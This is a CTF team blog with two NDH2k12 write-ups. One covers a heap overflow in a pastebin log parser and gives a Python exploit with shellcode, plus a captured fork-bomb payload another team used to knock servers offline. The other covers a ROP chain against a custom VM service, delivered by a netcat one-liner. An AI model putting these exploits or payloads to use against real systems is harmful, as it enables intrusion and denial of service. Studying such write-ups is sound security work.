To search


w3pwnz, therefore we are

Tuesday, July 3 2012 11:21

NDH2k12 Write-up Pastebin

The first thing we have for this challenge, is a "pastebin-like" website, with possibility to create, display, and delete entries
All actions are logged in the "pastebin.log" file, and new pastes are created in files "data/".md5($title).

The second part, is a cron job running every minute, calling the binary "resources/parse" which parses the pastebin.log file and update "resources/stats.html" with the current number of pastes, the number of actions, logged attacks (xss, lfi, sqli, ...). This file is then displayed in the website's index.

We also notice that the flag is in "resources/functions.php".

Here is the code for creating new pastes :

$log = fopen('pastebin.log', 'a');
if(isset($_POST['title'], $_POST['text'], $_POST['time'])) {
    $name = md5($_POST['title']);
    $time = intval($_POST['time']);
    file_put_contents("data/$name", $_POST['title']."\x00".$_POST['text']);
    $len = strlen($_POST['text']);
    fwrite($log, $time.' + '.$len.' '.$name.' '.$_POST['title']."\n");
    header("Location: ?id=$name");

So a log entry has the following format :

timestamp + post_length md5_title title\n

Now the vulnerability. It's located in the "get_parse" routine of the parse binary :

void *__cdecl get_paste(int inputfd)
  char req_type; // [sp+2Bh] [bp-Dh]@1
  void *buffer; // [sp+2Ch] [bp-Ch]@1
  buffer = malloc(0x12Cu);
  __isoc99_fscanf(inputfd, "%d %c %d", buffer, &req_type, (char *)buffer + 292);
  if ( *(_DWORD *)buffer )
    switch ( req_type )
      case '-':
        *((_DWORD *)buffer + 74) = handle_del;
      case '?':
        *((_DWORD *)buffer + 74) = handle_query;
      case '+':
        *((_DWORD *)buffer + 74) = handle_add;
        buffer = 0;
    __isoc99_fscanf(inputfd, "%32s %[^\n]s\n", (char *)buffer + 259, (char *)buffer + 4);
    buffer = 0;
  return buffer;

As we can see a buffer is allocated to hold the current paste's information. The first fscanf writes the timestamp at the beginning of the buffer (offset +0), the type in a separated variable (req_type) and the title's length at the end of the buffer (offset +292).
A handler pointer is then placed at buffer+74*4 (offset +296), and finally the second fscanf copies the title just after the timestamp (offset +4) without length control.
So the title (that we control) just has to be longer than 292 bytes to overflow, and overwrite the handler pointer, causing a segfault :

~/vhosts/ndhpastebin$ cat pastebin.log 
1340853859 + 2 c73301b7b71679067b02cff4cdc5e700 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb
1340853866 ? 0 c73301b7b71679067b02cff4cdc5e700 c73301b7b71679067b02cff4cdc5e700
~/vhosts/ndhpastebin$ ./resources/parse pastebin.log aaa
Erreur de segmentation (core dumped)
~/vhosts/ndhpastebin$ gdb resources/parse core
Core was generated by `./resources/parse pastebin.log aaa'.
Program terminated with signal 11, Segmentation fault.
#0  0x62626262 in ?? ()
(gdb) x/16wx $eax
0x8d582d8:        0x4febce63        0x61616161        0x61616161        0x61616161
0x8d582e8:        0x61616161        0x61616161        0x61616161        0x61616161
0x8d582f8:        0x61616161        0x61616161        0x61616161        0x61616161
0x8d58308:        0x61616161        0x61616161        0x61616161        0x61616161

We have overwritten EIP, and at the time of the crash, EAX points to the beginning of the buffer (timestamp + title).
The heap being executable, two "call eax" allow us to gain execution by directly jumping into our buffer :

~/vhosts/ndhpastebin$ objdump -D resources/parse | grep call | grep eax
 80486c8:        ff 14 85 8c a0 04 08         call   *0x804a08c(,%eax,4)
 804870f:        ff d0                        call   *%eax
 8048e0b:        ff d0                        call   *%eax

The timestamp is also not a problem, since it is also supplied by the user (variable $_POST['time']). So we'll just submit a timestamp equals to 0x90909090, then our shellcode in the title (padded to 292 bytes) followed by the address of one of the previous "call eax". And that's it :)
As we are in an attack/defense CTF, reverse-shells may be blocked, or monitored, so we'll use a shellcode to copy the wanted flag into an accessible location (we'll of course make sure to remove this file afterwards...)

This vulnerability has also been used by one of the team (Les_Pas_Contents) to execute a persistent fork-bomb, causing a lot of teams to loose access to their server, and an early end to the CTF...(thanks delroth for the attack dump). Here's the attack, in the 4th packet from :

0040  18 66 50 4f 53 54 20 2f 20 48 54 54 50 2f 31 2e   .fPOST / HTTP/1.
0050  31 0d 0a 48 6f 73 74 3a 20 6c 6f 63 61 6c 68 6f   1..Host: localho
0060  73 74 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65   st..Content-Type
0070  3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d   : application/x-
0080  77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f   www-form-urlenco
0090  64 65 64 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e   ded..Content-Len
00a0  67 74 68 3a 20 39 31 37 0d 0a 0d 0a 74 69 74 6c   gth: 917....titl
00b0  65 3d 25 36 61 25 30 32 25 35 38 25 63 64 25 38   e=%6a%02%58%cd%8
00c0  30 25 65 62 25 66 39 25 63 63 25 34 32 25 34 32   0%eb%f9%cc%42%42

Disassembled code:

00000000  6A02              push byte +0x2
00000002  58                pop eax
00000003  CD80              int 0x80           ; fork()
00000005  EBF9              jmp short 0x0      ; infinite loop

How to patch the vulnerability :
A quick and dirty fix consists in directly edit the format string of the second fscanf in the parse binary, to set a length limit for the title :
(here we replaced "[\n]" by "0290")

__isoc99_fscanf(inputfd, "%32s %0290s\n", (char *)buffer + 259, (char *)buffer + 4);

Exploit :

import urllib2, sys, struct
# /bin/cp /var/www/pastebin/resources/functions.php /var/www/pastebin/nawak.txt
shellcode = "\x31\xc0\x66\xb8\x10\x10\x29\xc4\x89\xe1\x29\xc1\x31\xc0\x89\x01\x31\xc0\xb0\x74\xc1\xe0\x08\xb0\x78\xc1\xe0\x08\xb0\x74\x50\x68\x77\x61\x6b\x2e\x68\x6e\x2f\x6e\x61\x68\x74\x65\x62\x69\x68\x2f\x70\x61\x73\x68\x2f\x77\x77\x77\x68\x2f\x76\x61\x72\x49\x49\x49\x49\x89\x21\x31\xc0\xb0\x70\x50\x68\x73\x2e\x70\x68\x68\x74\x69\x6f\x6e\x68\x66\x75\x6e\x63\x68\x63\x65\x73\x2f\x68\x73\x6f\x75\x72\x68\x6e\x2f\x72\x65\x68\x74\x65\x62\x69\x68\x2f\x70\x61\x73\x68\x2f\x77\x77\x77\x68\x2f\x76\x61\x72\x49\x49\x49\x49\x89\x21\x31\xc0\xb0\x70\xc1\xe0\x08\xb0\x63\xc1\xe0\x08\xb0\x2f\x50\x68\x2f\x62\x69\x6e\x49\x49\x49\x49\x89\x21\x89\xe3\x31\xc0\x50\x89\xe2\x31\xc0\xb0\x0b\xcd\x80"
addr =  "08048e0b".decode("hex")[::-1] # call eax
stamp = struct.unpack("<i","\x90"*4)
title = shellcode.rjust(292,"\x90")
title += addr
if len(sys.argv)<2:
    print ("Usage: ", argv[0], " url")
url = sys.argv[1]
def exploit():
    p =urllib2.urlopen(url, "title=" + urllib2.quote(title) + "&time=" + str(stamp) + "&text=bollocks")

Sunday, March 25 2012 16:36

NDH2k12 Prequals - Another weird link - complex remote service

From: Piotr <>
To: w3pwnz <>
Subject: Another weird link
Attachments : web3.ndh
Thank you again for these informations! we have just credited your account
with $1700. Our spy thinks that Sciteek staff is aware about the mole inside
their building. He is trying to read a private file named "sciteek-private.txt"
located at Please find the .ndh attached, if
you are sucessfull, reply with a message entitled "complex remote service".

Of course, your efforts will be rewarded with $2500. Maybe you will find
pieces of informations about the mole.


We disassembled it using the unlocked VM tool (cf. Unknown zip archive), and used the following python script to patch call format:

#!/usr/bin/env python
import sys
import re
def rel(line, size=4):
    fro, off = re.findall("0x([0-9a-f]{1,4})", line)
    ifro, ioff = int(fro, 16), int(off, 16)
    if ioff > 0x8000:
        ioff = ioff - 0x10000
    ito = ifro + 4 + ioff
    line = line.replace(off, format(ito, "04x"))
    return line
if __name__=="__main__":
    for line in open(sys.argv[1]).readlines():
        if " call" in line:
            print rel(line),
            print line,


0x8497: call 0x84ed
0x849b: mov r0, r2
0x849f: movl r1, #0x847c
0x84a4: movb r2, #0x03
0x84a8: call 0x80c0
0x84ac: cmpb r0, #00
0x84b0: jnz 0x0009
0x84b3: movl r0, #0x8400
0x84b8: call 0x8179
0x84bc: end
0x84bd: pushl #beef  ; Push a canary
0x84c2: nop
0x84c3: mul r2, r4
0x84c7: nop
0x84c8: .byte 0x00
0x84c9: .byte 0x00
0x84ca: .byte 0x00
0x84cb: mov r1, r8
0x84cf: movl r2, #0x03fc  ; Read 1020 bytes
0x84d4: call 0x81d8
0x84d8: mov r0, r1
0x84dc: addl r8, #0200
0x84e1: pop r1
0x84e3: cmpl r1, #beef
0x84e8: jz 0x0001
0x84eb: end
0x84ec: ret
0x84ed: subl r8, #0200 ; Reserve 512 bytes
0x84f2: call 0x84bd
0x84f6: addl r8, #0200                                                
0x84fb: ret

We begin with the call @0x8497, follow it to 0x84ed where 512 bytes are reserved on the stack. A fixed canary “0xbeef” is then pushed on the stack, it calls the following function: read()

So sys_read is invoked, with a specified size of 1020 (0x84cf: movl r2, #0x03fc). There is an obvious buffer overflow. Unfortunatly (but that’s moar fun), the stack is not executable because of NX bit:

% python -c 'print "A"*512+"\xef\xbeBBCC"'|nc 4005
[!] Segfault 0x4242 (NX bit)

We assumed ASLR was on and no PIE, let’s ROP :)

We want to proceed as below:

movl r3, #0x20
movl r2, #0x2000
movl r1, #0
movl r0, 3
syscall                         ; read
mov r1, r2 
movl r2, #0
movl r0, #2
syscall                         ; open
mov r1, r0
movl r2, #0x3000
movl r3, #0x1024
movl r0, #3
syscall                         ; read
mov r3, r0
movl r1, #1
movl r0, #4
syscall                         ; write

Our ROP gadgets:

        0x8172: pop r3
        0x8174: pop r2
        0x8176: pop r1
        0x8178: ret
        0x81e4: movb r0, #0x03
        0x81e8: syscall
        0x81e9: ret
        0x8174: pop r2
        0x8176: pop r1
        0x8178: ret
        0x81d2: movb r0, #0x02
        0x81d6: syscall
        0x81d7: ret
        0x8172: pop r3
        0x8174: pop r2
        0x8176: pop r1
        0x8178: ret
        0x81e0: mov r1, r0
        0x81e4: movb r0, #0x03
        0x81e8: syscall
        0x81e9: ret
        0x818f: movb r1, #0x01
        0x8193: movb r0, #0x04
        0x8197: syscall
        0x8198: pop r1
        0x819a: pop r0
        0x819c: ret

ROP Payload:


We then fill the first read (0x3fc bytes) with junk:

‘Z’ * (0x3fc - len(payload) - 512)

And our file: “sciteek-private\x00”.

So, our buffer overflow is as follows: [JUNK][CANARY][ROP PAYLOAD][JUNK][FILENAME]

Finally our python one-liner:

python -c 'from struct import pack; print "A"*512+"\xef\xbe"+"".join(pack("<H", i) for i in [0x8172, 0x14, 0x2000, 0x0, 0x81e4, 0x8174, 0x0, 0x2000, 0x81d2, 0x8172, 0x1024, 0x3000, 0xdead, 0x81e0, 0x818f])+"Z"*0x1dc+"sciteek-private.txt\x00"'|nc 4005
Dear Patrick,
We found many evidences proving there is a mole inside our company who is selling confidential materials to our main competitor, Megacortek. We have very good reasons to believe that Walter Smith have sent some emails to a contact at Megacortek, containing confidential information.
However, these emails seems to have been encrypted and sometimes contain images or audio files which are apparently not related with our company or our business
, but one of them contains an archive with an explicit name.
We cannot stand this situation anymore, and we should take actions to make Mr Smith leave the company: we can fire this guy or why not call the FBI to handle this case as it should be.
David Markham.
[!] Segfault 0x5a5a (NX bit)